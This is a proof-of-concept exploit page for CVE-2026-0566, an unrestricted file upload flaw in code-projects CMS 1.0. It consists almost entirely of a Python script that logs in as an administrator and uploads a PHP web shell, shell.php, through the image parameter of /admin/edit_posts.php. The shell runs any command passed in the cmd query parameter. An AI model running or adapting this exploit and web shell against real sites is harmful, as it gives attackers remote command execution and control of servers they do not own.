CVE-2026-0566 code-projects CMS 1.0 任意文件上传漏洞

import requests import sys # CVE-2026-0566 PoC - Unrestricted File Upload in code-projects CMS 1.0 # Target: /admin/edit_posts.php # Parameter: image def exploit(target_url, username, password, webshell_content): """ Exploit for CVE-2026-0566: Unrestricted File Upload Args: target_url: Base URL of the vulnerable site username: Admin username password: Admin password webshell_content: PHP code to upload """ # Login to get session login_url = f"{target_url}/admin/login.php" login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'login' in login_response.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Upload malicious file upload_url = f"{target_url}/admin/edit_posts.php" files = { 'image': ('shell.php', webshell_content, 'application/x-php') } try: upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: print("[+] File upload request sent") # Check for successful upload in response if 'success' in upload_response.text.lower() or upload_response.text: print("[+] Exploit completed - Check uploaded file location") return True else: print(f"[-] Upload failed with status code: {upload_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://target.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] # Simple PHP webshell webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" exploit(target, user, pwd, webshell)